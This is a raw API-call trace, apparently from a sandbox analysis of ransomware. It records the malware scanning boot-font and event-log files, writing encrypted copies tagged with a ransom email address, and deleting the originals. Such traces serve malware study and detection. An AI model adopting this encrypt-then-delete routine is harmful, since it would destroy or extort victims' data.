[0274.027] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.027] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.027] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.027] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.027] lstrlenW (lpString=".doc") returned 4 [0274.027] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.027] lstrlenW (lpString=".docx") returned 5 [0274.027] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.027] lstrlenW (lpString=".pdf") returned 4 [0274.027] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.027] lstrlenW (lpString=".xls") returned 4 [0274.027] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.027] lstrlenW (lpString=".xlsx") returned 5 [0274.027] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.028] lstrlenW (lpString=".ppt") returned 4 [0274.028] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString=".zip") returned 4 [0274.028] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.028] lstrlenW (lpString=".rar") returned 4 [0274.028] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString=".bz2") returned 4 [0274.028] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString=".7z") returned 3 [0274.028] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString=".dbf") returned 4 [0274.028] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString=".1cd") returned 4 [0274.028] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString=".jpg") returned 4 [0274.028] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.028] lstrlenW (lpString=".doc") returned 4 [0274.028] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.028] lstrlenW (lpString=".docx") returned 5 [0274.029] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.029] lstrlenW (lpString=".pdf") returned 4 [0274.029] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString=".xls") returned 4 [0274.029] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.029] lstrlenW (lpString=".xlsx") returned 5 [0274.029] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.029] lstrlenW (lpString=".ppt") returned 4 [0274.029] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.029] lstrlenW (lpString=".zip") returned 4 [0274.029] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.029] lstrlenW (lpString=".rar") returned 4 [0274.029] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString=".bz2") returned 4 [0274.029] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString=".7z") returned 3 [0274.029] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.029] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.029] lstrlenW (lpString=".dbf") returned 4 [0274.029] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.029] lstrlenW (lpString=".1cd") returned 4 [0274.029] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.029] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0274.029] lstrlenW (lpString=".jpg") returned 4 [0274.029] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.030] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0274.030] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0274.030] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.030] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=156245) returned 1 [0274.030] CloseHandle (hObject=0x3a0) returned 1 [0274.030] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0274.030] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.030] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.030] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.030] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.030] lstrlenW (lpString=".doc") returned 4 [0274.030] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.030] lstrlenW (lpString=".docx") returned 5 [0274.031] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.031] lstrlenW (lpString=".pdf") returned 4 [0274.031] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString=".xls") returned 4 [0274.031] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.031] lstrlenW (lpString=".xlsx") returned 5 [0274.031] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.031] lstrlenW (lpString=".ppt") returned 4 [0274.031] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString=".zip") returned 4 [0274.031] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.031] lstrlenW (lpString=".rar") returned 4 [0274.031] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString=".bz2") returned 4 [0274.031] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString=".7z") returned 3 [0274.031] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString=".dbf") returned 4 [0274.031] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString=".1cd") returned 4 [0274.031] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString=".jpg") returned 4 [0274.031] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.031] lstrlenW (lpString=".doc") returned 4 [0274.031] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.031] lstrlenW (lpString=".docx") returned 5 [0274.031] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.031] lstrlenW (lpString=".pdf") returned 4 [0274.032] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString=".xls") returned 4 [0274.032] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.032] lstrlenW (lpString=".xlsx") returned 5 [0274.032] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.032] lstrlenW (lpString=".ppt") returned 4 [0274.032] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.032] lstrlenW (lpString=".zip") returned 4 [0274.032] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.032] lstrlenW (lpString=".rar") returned 4 [0274.032] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString=".bz2") returned 4 [0274.032] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString=".7z") returned 3 [0274.032] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.032] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.032] lstrlenW (lpString=".dbf") returned 4 [0274.032] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.032] lstrlenW (lpString=".1cd") returned 4 [0274.032] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.032] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0274.032] lstrlenW (lpString=".jpg") returned 4 [0274.032] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.032] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0274.032] lstrlenW (lpString="segmono_boot.ttf") returned 16 [0274.032] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.033] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=44859) returned 1 [0274.033] CloseHandle (hObject=0x3a0) returned 1 [0274.033] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0274.033] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.033] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.034] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0274.034] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0274.034] lstrlenW (lpString=".doc") returned 4 [0274.034] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.034] lstrlenW (lpString=".docx") returned 5 [0274.034] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.034] lstrlenW (lpString=".pdf") returned 4 [0274.034] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.034] lstrlenW (lpString=".xls") returned 4 [0274.034] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.034] lstrlenW (lpString=".xlsx") returned 5 [0274.034] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.034] lstrlenW (lpString=".ppt") returned 4 [0274.034] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.034] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0274.034] lstrlenW (lpString=".zip") returned 4 [0274.034] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.034] lstrlenW (lpString=".rar") returned 4 [0274.034] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.034] lstrlenW (lpString=".bz2") returned 4 [0274.034] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.034] lstrlenW (lpString=".7z") returned 3 [0274.034] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.034] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0274.034] lstrlenW (lpString=".dbf") returned 4 [0274.034] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.261] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0274.346] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.460] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0274.460] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0274.460] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.461] GetLastError () returned 0x0 [0274.461] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.301] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.303] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0275.303] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x152, lpOverlapped=0x0) returned 1 [0275.303] SetEndOfFile (hFile=0x3a0) returned 1 [0275.303] CloseHandle (hObject=0x3a0) returned 1 [0275.469] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.469] SetEndOfFile (hFile=0x394) returned 1 [0275.470] CloseHandle (hObject=0x394) returned 1 [0275.470] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.470] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0275.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString=".doc") returned 4 [0275.471] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".docx") returned 5 [0275.471] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.471] lstrlenW (lpString=".pdf") returned 4 [0275.471] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".xls") returned 4 [0275.471] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".xlsx") returned 5 [0275.471] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.471] lstrlenW (lpString=".ppt") returned 4 [0275.471] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString=".zip") returned 4 [0275.471] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".rar") returned 4 [0275.471] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".bz2") returned 4 [0275.471] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString=".7z") returned 3 [0275.471] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString=".dbf") returned 4 [0275.471] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString=".1cd") returned 4 [0275.471] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString=".jpg") returned 4 [0275.471] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.472] lstrlenW (lpString=".doc") returned 4 [0275.472] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".docx") returned 5 [0275.472] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.472] lstrlenW (lpString=".pdf") returned 4 [0275.472] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".xls") returned 4 [0275.472] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".xlsx") returned 5 [0275.472] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.472] lstrlenW (lpString=".ppt") returned 4 [0275.472] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.472] lstrlenW (lpString=".zip") returned 4 [0275.472] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".rar") returned 4 [0275.472] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".bz2") returned 4 [0275.472] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString=".7z") returned 3 [0275.472] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.472] lstrlenW (lpString=".dbf") returned 4 [0275.472] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.472] lstrlenW (lpString=".1cd") returned 4 [0275.472] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0275.472] lstrlenW (lpString=".jpg") returned 4 [0275.472] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.472] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.473] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0275.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0275.473] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0275.473] CloseHandle (hObject=0x394) returned 1 [0275.473] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0275.473] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0275.473] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.473] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0275.474] GetLastError () returned 0x0 [0275.474] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.847] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.849] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0275.849] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x126, lpOverlapped=0x0) returned 1 [0275.849] SetEndOfFile (hFile=0x3a0) returned 1 [0275.851] CloseHandle (hObject=0x3a0) returned 1 [0275.853] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.853] SetEndOfFile (hFile=0x394) returned 1 [0275.854] CloseHandle (hObject=0x394) returned 1 [0275.854] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.855] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0275.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.855] lstrlenW (lpString=".doc") returned 4 [0275.855] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".docx") returned 5 [0275.855] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.855] lstrlenW (lpString=".pdf") returned 4 [0275.855] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".xls") returned 4 [0275.855] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".xlsx") returned 5 [0275.855] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.855] lstrlenW (lpString=".ppt") returned 4 [0275.855] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.855] lstrlenW (lpString=".zip") returned 4 [0275.855] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".rar") returned 4 [0275.855] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".bz2") returned 4 [0275.855] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.855] lstrlenW (lpString=".7z") returned 3 [0275.855] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.855] lstrlenW (lpString=".dbf") returned 4 [0275.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW (lpString=".1cd") returned 4 [0275.856] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW (lpString=".jpg") returned 4 [0275.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW 